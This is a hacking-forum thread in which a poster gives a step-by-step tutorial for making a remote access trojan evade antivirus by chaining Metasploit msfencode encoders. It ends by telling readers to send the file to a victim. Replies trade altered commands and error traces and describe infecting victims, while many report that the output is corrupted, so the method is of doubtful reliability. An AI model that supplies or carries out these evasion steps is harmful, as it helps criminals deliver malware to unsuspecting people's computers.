

Forum:[Hack Forums](#)

Thread: [Make fud RAT with BACKTRACK \(tutorial\) SerbianKuco](#)

skripte - May 25, 2013, 6:12 am

Requirements:-

1. Backtrack Operating System
2. MSF encoders

So, our first step is to create a virus file with any of the tools like RAT, stealers, botnets, payload or anything.

To make it FUD (Fully Undetectable), we use backtrack operating system.

Before going to FUD check your file with ant viruses at virustotal.com and we get detection ratio 36/44.

http://www.dodaj.rs/f/2k/or/2kiKfBoo/images-3.jpg

Now start terminal in Backtrack OS and go to the directory where you pasted your file.

E.g. cd Desktop

So our first step is to change the permissions of that file (775) by typing this command, root@bt:~/Desktop# chmod 775 server.exe

Further type this command to encode your virus,

```
root@bt:~/Desktop# msfencode -i /root/Desktop/Server.exe -t raw -o /root/Desktop/server2.exe -e x86/shikata_ga_nai -c 10
```

http://www.dodaj.rs/f/1g/nE/3ljtqi34/images-3.jpg

You'll notice Antivirus still detected it even though we encoded it 10 times with "x86/shikata_ga_nai" encoder.

Now again change the permissions of this output file,

```
root@bt:~/Desktop# chmod 775 server2.exe
```

Now 2nd time, we use another encoder named as "jmp_call_additive"

```
root@bt:~/Desktop# msfencode -i /root/Desktop/Server2.exe -t raw -o /root/Desktop/Server3.exe -e x86/jmp_call_additive -c 1
```

Now again change the permissions of this output file,

```
root@bt:~/Desktop# chmod 775 server3.exe
```

Now again we use another encoder named as "call4_dword_xor"

```
root@bt:~/Desktop# msfencode -i /root/Desktop/Server3.exe -t raw -o /root/Desktop/Server4.exe -e x86/call4_dword_xor -c 1
```

Now again change the permissions of this output file,

```
root@bt:~/Desktop# chmod 775 server4.exe
```

Now final we encode again with this encoder "shikata_ga_nai"

```
root@bt:~/Desktop# msfencode -i /root/Desktop/Server4.exe -o /root/Desktop/final.exe -e x86/shikata_ga_nai -c 1
```

Now again change the permissions of this output file,

```
root@bt:~/Desktop# chmod 775 final.exe
```

Now here's your final virus named as "final.exe" and upload it in virustotal.com and you'll see the results.
[img]http://www.dodaj.rs/f/3O/11q/2AxQirBn/images-3.jpg[/img]
And as you'll notice, you have just bypassed anti-virus. Now all you have to do is send it to the victim and keep enjoying.

Rtap - May 25, 2013, 7:58 am

Why would you upload something you made FUD to virustotal?

MrPip - May 25, 2013, 8:03 am

In before online crypters. Good tutorial though.

skripte - May 25, 2013, 10:35 am

(May 25, 2013 07:58 AM)Rtap Wrote: [\[CITE\]](#) Why would you upload something you made FUD to virustotal?this will never be patched :) i use it for test,when i go to make victims i m not upload there

Malu2 - May 25, 2013, 10:36 am

Nice Tutorial man,
nice to share.
Thank You

Playerx1 - May 25, 2013, 10:45 am

Hey man, can you please upload a video?
Thanks.

skripte - May 25, 2013, 10:52 am

(May 25, 2013 10:45 AM)Playerx1 Wrote: [\[CITE\]](#) Hey man, can you please upload a video?
Thanks.sorry man i dont have time

to shortt

FroStorm - May 25, 2013, 10:54 am

Would this work with a .jar virus? For jRat.

Pendragon - May 25, 2013, 11:00 am

(May 25, 2013 10:54 AM)?FroFro Wrote: [\[CITE\]](#) Would this work with a .jar virus? For jRat.
No. This works with binaries only.

\x6b\x63\x75\x46

Nicolems - May 25, 2013, 11:06 am

Awesome tutorial it worked for me thanks :D

Auxil - May 25, 2013, 11:13 am

I've seen this a few times before.
Nice share though. Keep it up.

n1v4 - May 25, 2013, 11:58 am

Copy pasted do ur own work don't use anothers method.. shame on u..

skripte - May 25, 2013, 1:06 pm

(May 25, 2013 11:58 AM)n1v4 Wrote: [\[CITE\]](#) Copy pasted do ur own work don't use anothers method.. shame on u..

do not be so boring,use this tutorial and shut up

lilsam - May 25, 2013, 1:11 pm

oh yeah!!! thanks a lot mate. im gonna try it soon

Xyzo - May 25, 2013, 1:13 pm

Very good tutorial, I'll be using this method :D

thesnipair.24 - May 26, 2013, 1:31 am

Did you try to run the crypted file ??

does it work ?? that would be awesome i thought i couldn't make it fud with msfencode thanks a lot for the share :)

Rtap - May 26, 2013, 4:13 am

For some reason my msfencode just sits there and does absolutely nothing.

Any ideas?

darkwingduck - May 26, 2013, 4:19 am

this only works for x86 files right? :/

jordylaforge - May 26, 2013, 6:22 am

Mine ends up being corrupted and doesn't run. Any clue why?

Palaski - May 26, 2013, 6:25 am

(May 25, 2013 01:06 PM)skripte Wrote: [\[CITE\]](#) do not be so boring,use this tutorial and shut up
OP you gave no credit to the OP who made this tutorial.

Arman? - May 26, 2013, 6:27 am

Amazing tutorial and nice share. Keep up the good work.

skripte - May 26, 2013, 8:19 am

(May 26, 2013 06:25 AM)R.A.T.S Wrote: [\[CITE\]](#) OP you gave no credit to the OP who made this tutorial.

i buy pdf about this,so shut up and use if you need...

Rtap - May 26, 2013, 8:27 am

It didn't work for me just like it was in the tutorial I had to use: "msfencode -e x86/shikata_ga_nai -c 10 -i /root/Desktop/server.exe -o /root/server2.exe"

skripte - May 26, 2013, 8:41 am

(May 26, 2013 08:27 AM)Rtap Wrote: [\[CITE\]](#) It didn't work for me just like it was in the tutorial I had to use: "msfencode -e x86/shikata_ga_nai -c 10 -i /root/Desktop/server.exe -o /root/server2.exe"
sorry man i dont know what you do wrong,for me already work

MRAVOX - May 26, 2013, 11:49 am

Great tutorial! Helped me out a bunch!

jordylaforge - May 26, 2013, 2:04 pm

Yeah, it doesn't work for me. The file is always corrupted.

darkwingduck - May 27, 2013, 6:04 am

(May 26, 2013 02:04 PM)jordylaforge Wrote: [\[CITE\]](#) Yeah, it doesn't work for me. The file is always corrupted.

same for me! :(

whats wrong?

Please help! :D

Palaski - May 27, 2013, 6:08 am

(May 26, 2013 08:19 AM)skripte Wrote: [\[CITE\]](#) i buy pdf about this,so shut up and use if you need...
I like you, Your straight forward with people lol.

VPN - May 27, 2013, 8:02 am

Well, when I do the first command, it doesn't do anything.. I have pressed CTRL+C and got the following output:

```
Code msfencode -i /root/Desktop/Server.exe -t raw -o /root/Desktop/server2.exe -e
x86/shikata_ga_nai -c 10
c^C/opt/metasploit/msf3/lib/msf/core/encoder.rb:311:in `do_encode': Interrupt
  from /opt/metasploit/msf3/lib/msf/core/encoder/xor_additive_feedback.rb:60:in `find_key'
  from /opt/metasploit/msf3/lib/msf/core/encoder.rb:429:in `obtain_key'
  from /opt/metasploit/msf3/lib/msf/core/encoder.rb:256:in `encode'
  from /opt/metasploit/msf3/msfencode:250:in `block (2 levels) in <main>'
  from /opt/metasploit/msf3/msfencode:247:in `upto'
  from /opt/metasploit/msf3/msfencode:247:in `block in <main>'
  from /opt/metasploit/msf3/msfencode:237:in `each'
  from /opt/metasploit/msf3/msfencode:237:in `<main>'
Using Backtrack R3 on VMWare.
```

?XilluX - May 27, 2013, 9:42 am

I will test this, I doubt that it will work, when you run, cause i crypted already once with shikata_ga_nai, but it won't work!

Rtap - May 27, 2013, 11:50 am

(May 27, 2013 08:02 AM)Vendox Wrote: [\[CITE\]](#) Well, when I do the first command, it doesn't do anything.. I have pressed CTRL+C and got the following output:

```
Code msfencode -i /root/Desktop/Server.exe -t raw -o /root/Desktop/server2.exe -e
x86/shikata_ga_nai -c 10
c^C/opt/metasploit/msf3/lib/msf/core/encoder.rb:311:in `do_encode': Interrupt
  from /opt/metasploit/msf3/lib/msf/core/encoder/xor_additive_feedback.rb:60:in `find_key'
  from /opt/metasploit/msf3/lib/msf/core/encoder.rb:429:in `obtain_key'
  from /opt/metasploit/msf3/lib/msf/core/encoder.rb:256:in `encode'
  from /opt/metasploit/msf3/msfencode:250:in `block (2 levels) in <main>'
  from /opt/metasploit/msf3/msfencode:247:in `upto'
  from /opt/metasploit/msf3/msfencode:247:in `block in <main>'
  from /opt/metasploit/msf3/msfencode:237:in `each'
  from /opt/metasploit/msf3/msfencode:237:in `<main>'
Using Backtrack R3 on VMWare.
```

Try using what I used: "msfencode -e x86/shikata_ga_nai -c 10 -i /root/Desktop/server.exe -o /root/server2.exe"

?pth?n - May 27, 2013, 12:02 pm

I can't believe that it works lol, seems to good to be true ;)

Could you tell which Backtrack version you have been using, and what RAT?

skripte - May 27, 2013, 2:14 pm

(May 27, 2013 12:02 PM)?pth?n Wrote: [\[CITE\]](#) I can't believe that it works lol, seems to good to be true ;)

Could you tell which Backtrack version you have been using, and what RAT?

i have backtrack r3,darkcomet peoples i dont know why this dont works for you...

DrDinosaur - May 27, 2013, 4:35 pm

I've seen this posted a lot before. Don't use Virustotal when you are doing something like this.

Asp1r3-At0m - May 27, 2013, 5:34 pm

THANKS!!!! It helped me a lot!, i was trying to get my server fud with msfencode, you are awesome OP!

VPN - May 28, 2013, 4:15 am

(May 27, 2013 11:50 AM)Rtap Wrote: [\[CITE\]](#) Try using what I used: "msfencode -e x86/shikata_ga_nai -c 10 -i /root/Desktop/server.exe -o /root/server2.exe"

Nope.. it's not working. I get the same error. I'll try to burn the backtrack into dvd file and try again.

MoNsHiNe - May 28, 2013, 5:27 am

Allright, I guess I'll ask.... How long does the FUD hold until it gets detected?

Just wonderin because this looks too good to be true as some said. :p

Testing it out atm, will come back with update.

Shadow -

Allah is One - May 28, 2013, 5:42 am

Nice Tutorial man,

nice to share.

Thank You

MoNsHiNe - May 28, 2013, 8:51 am

Tried this with one IRC bot file.

It's FUD but it corrupts the file, which is bad.

I don't receive any victims aswell even they executed the exe file.

+1 FUD

-1 Corrupts the file

Shadow -

Dragone2 - May 28, 2013, 9:02 am

Very well! This tutorial is the best for me! :D

Im gone brah - June 21, 2013, 4:50 pm

Great tutorial, gonna try this out.

kornflexx - June 22, 2013, 11:38 am

Is it FUD runtime or only scantime ?

Racken - June 22, 2013, 11:46 am

(May 28, 2013 08:51 AM)Shadow - Wrote: [\[CITE\]](#) Tried this with one IRC bot file.

It's FUD but it corrupts the file, which is bad.

I don't receive any victims aswell even they executed the exe file.

+1 FUD

-1 Corrupts the file

Shadow -

Try to see which crypter corrupts the file then don't use that one. Or if they all do you're just out of luck.

KoK_07 - June 22, 2013, 12:37 pm

When I write this line the Terminal gets stuck there and nothing happens. :\

```
root@bt:~/Desktop# msfencode -i /root/Desktop/Server.exe -t raw -o  
/root/Desktop/server2.exe -e x86/shikata_ga_nai -c 10
```

iExploits - August 5, 2013, 6:13 pm

Hey man I tried this and when I type this :

```
msfencode -i /root/Desktop/server.exe -t raw -o /root/Desktop/server1.exe -e x86/shikata_ga_nai -c  
10
```

it just gets stuck there for ever man.. please help

and when i press ctrl+c

i get:

```
^C/opt/metasploit/msf3/lib/msf/core/encoder.rb:311:in `do_encode': Interrupt  
from /opt/metasploit/msf3/lib/msf/core/encoder/xor_additive_feedback.rb:60:in `find_key'  
from /opt/metasploit/msf3/lib/msf/core/encoder.rb:429:in `obtain_key'  
from /opt/metasploit/msf3/lib/msf/core/encoder.rb:256:in `encode'  
from /opt/metasploit/msf3/msfencode:250:in `block (2 levels) in <main>'  
from /opt/metasploit/msf3/msfencode:247:in `upto'  
from /opt/metasploit/msf3/msfencode:247:in `block in <main>'  
from /opt/metasploit/msf3/msfencode:237:in `each'  
from /opt/metasploit/msf3/msfencode:237:in `<main>'
```

uname - August 7, 2013, 8:41 pm

this make file corrupt i try myself as a slave, running win7 X64 and try running on xp on virtual box
file corrupt

Nmanpure Pkr - August 7, 2013, 10:39 pm

Thanks for this tutorial, nice and simple. But tested, and working. :D. You could even make a script
to do all the commands for you, then it would be really easy.

bayyak - August 8, 2013, 1:57 am

at least give credits bro..

..
..
..
..

stylo_asif - August 8, 2013, 10:58 pm

Only Time wresting Here I Have Done Everything Crypted Done But After Encoded Your Server Will corrupts Stop Working anymore But Its True Its 0/45 But corrupted Lol

labbepierre - September 24, 2013, 1:06 pm

(Aug 5, 2013 06:13 PM)TheTechRishab Wrote: [\[CITE\]](#) Hey man I tried this and when I type this :

```
msfencode -i /root/Desktop/server.exe -t raw -o /root/Desktop/server1.exe -e x86/shikata_ga_nai -c 10
```

it just gets stuck there for ever man.. please help

and when i press ctrl+c

i get:

```
^C/opt/metasploit/msf3/lib/msf/core/encoder.rb:311:in `do_encode': Interrupt
from /opt/metasploit/msf3/lib/msf/core/encoder/xor_additive_feedback.rb:60:in `find_key'
from /opt/metasploit/msf3/lib/msf/core/encoder.rb:429:in `obtain_key'
from /opt/metasploit/msf3/lib/msf/core/encoder.rb:256:in `encode'
from /opt/metasploit/msf3/msfencode:250:in `block (2 levels) in <main>'
from /opt/metasploit/msf3/msfencode:247:in `upto'
from /opt/metasploit/msf3/msfencode:247:in `block in <main>'
from /opt/metasploit/msf3/msfencode:237:in `each'
from /opt/metasploit/msf3/msfencode:237:in `<main>'Hello all , i have got the same problem :(
Please help me .
Thank you in advance .
```

joneh heil - September 25, 2013, 12:12 pm

(May 25, 2013 10:54 AM)FroStorm Wrote: [\[CITE\]](#) Would this work with a .jar virus? For jRat. jRat already is FUD. or at least like 3/37

IceTimux - September 25, 2013, 1:33 pm

This corrupts the output file... It does make it FUD, but it will never work again

Mr. Furioz - November 25, 2013, 5:56 pm

As already pretty much people said in the thread, can anybody say if this actually works or not. I really doubt that this will work since because of adding so many things i think u fuck up the code or not?

some people say it works , i dont doubt that ur virus will be fud. But the running and not being corrupted is what i really doubt. So does this work on some machines or doesnt it work at all when u run it :p

xMoD - February 23, 2014, 12:20 pm

It wont run on a x64 will it?

I tried and it says it cant ;3

Im trying to crypt my Rat Server anyone know how to fix?

Tried changing to x64/shikata...blah blah

But theres an error

rahoool - February 26, 2014, 8:40 am

hey bro i tried it several time but its not working the file is getting corrupted after encoding several time

ÇdnîS Lu?i? - *October 10, 2014, 5:34 pm*

This most definitely did not work =P.

Search Whitepages - *October 12, 2014, 4:46 pm*

Great and promising tutorial. I will give it a shot.

kanishk - *February 2, 2016, 6:01 am*

(May 27, 2013 11:50 AM)Rtap Wrote: [\[CITE\]](#) Try using what I used: "msfencode -e x86/shikata_ga_nai -c 10 -i /root/Desktop/server.exe -o /root/server2.exe" Its not running after fudding with msfencode, unable to execute please help in this

ahemokay - *February 2, 2016, 6:04 am*

(Feb 2, 2016 07:01 AM)kanishk Wrote: [\[CITE\]](#) Its not running after fudding with msfencode, unable to execute please help in this
Look at the date.